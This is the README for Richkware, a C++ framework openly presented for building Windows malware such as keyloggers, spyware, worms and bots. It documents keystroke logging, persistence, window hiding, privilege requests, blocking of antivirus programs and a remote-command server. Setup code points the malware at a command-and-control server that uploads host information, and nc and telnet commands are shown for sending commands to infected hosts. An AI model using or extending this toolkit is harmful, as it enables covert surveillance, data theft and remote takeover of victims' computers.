Richkware

Richkware is a framework for building Windows malware, written in C++. It provides a library of network and system functions for creating different types of malware, including viruses, worms, bots, spyware, keyloggers, and scareware.

Description

The Richkware framework includes a set of modules and functions that enable you to create malware with various capabilities. These include network communication, system manipulation, cryptography, and more.

Types of Malware Supported:

• Virus
• Worms
• Bot
• Spyware
• Keylogger
• Scareware

Related Projects

• Richkware-Manager-Server: A server for managing hosts infected with malware developed using the Richkware framework.
• Richkware-Manager-Client: A client for communicating with the Richkware-Manager-Server, which allows you to send commands to infected hosts.

Functions

Network

• Server (network.h): Manages a multi-thread server to receive commands from the internet (via Richkware-Manager-Client or console) according to a specific protocol.
  • Protocol (protocol.h):
    1. Remote command execution (ID 1)
    2. (work in progress)
• Network (network.h):
  • RawRequest: Send a request to a server.
  • UploadInfoToRichkwareManagerServer: Upload information to Richkware-Manager-Server.

System

• Storage (storage.h):
  • SaveSession and LoadSession: Save and load the application state (encrypted), using:
    • Register (SaveValueReg and LoadValueReg)
    • File (SaveValueToFile and LoadValueFromFile)
  • Persistence: Ensures the application remains active in the system.
• IsAdmin and RequestAdminPrivileges (richkware.h): Check and request administrator privileges.
• StealthWindow (richkware.h): Hide application windows.
• OpenApp (richkware.h): Open arbitrary applications.
• Keylogger (richkware.h): Logs all keystrokes to a file.
• BlockApps and UnBlockApps (blockApps.h): Block and unblock applications (e.g., antivirus programs).

Cryptography

• Encrypt and Decrypt (crypto.h): Uses RC4 (default) or Blowfish encryption algorithms.
• Encode and Decode (crypto.h): Supports Base64 (default) and Hex encoding.

Other Functions

• RandMouse (richkware.h): Randomly moves the mouse cursor.
• Hibernation (richkware.h): Hibernates the system.

Requirements

To build and use Richkware, you will need:

• Make or CMake
• MinGW

Getting Started

With Richkware-Manager-Server (RMS)

If you have deployed RMS, initialize the malware as follows:

int main() {
    Richkware richkware("Richk", "DefaultPassword", "192.168.99.100", "8080", "associatedUser");
    ...
    return 0;
}

This will retrieve a secure key from RMS and use it for encryption. DefaultPassword is used as a fallback encryption key if the malware cannot reach the RMS.

Without Richkware-Manager-Server

If you have not deployed RMS, you can use:

Richkware richkware("Richk", "richktest");

This will use richktest as the encryption key.

Compile

Using MinGW (for Windows or cross-compiling for Linux)

make

Using Microsoft C++ Compiler (Visual Studio)

• Go to C/C++ > Preprocessor > Preprocessor Definitions, and add _CRT_SECURE_NO_WARNINGS.
• In Linker > Input > Additional Dependencies, add Ws2_32.lib.

Example Usage

Server-side: Starting the Server

In your main program, call the StartServer function to start the server. The following example uses TCP port 8000:

int main () {
    ...
    richkware.network.server.Start("8000");
    ...
}

Client-side: Connecting to the Server

Using Richkware-Manager-Client:

If you are using Richkware-Manager-Client, you can connect to the server and send commands.

Using Terminal on Unix Systems:

On Unix-based systems, use netcat (nc):

nc <serverName> 8000

If the server is running and accessible, it will respond, and you can send commands like:

[[1]]COMMAND

Using Terminal on Windows:

On Windows, use telnet:

telnet <serverName> 8000

Once connected, send a command like:

[[1]]COMMAND
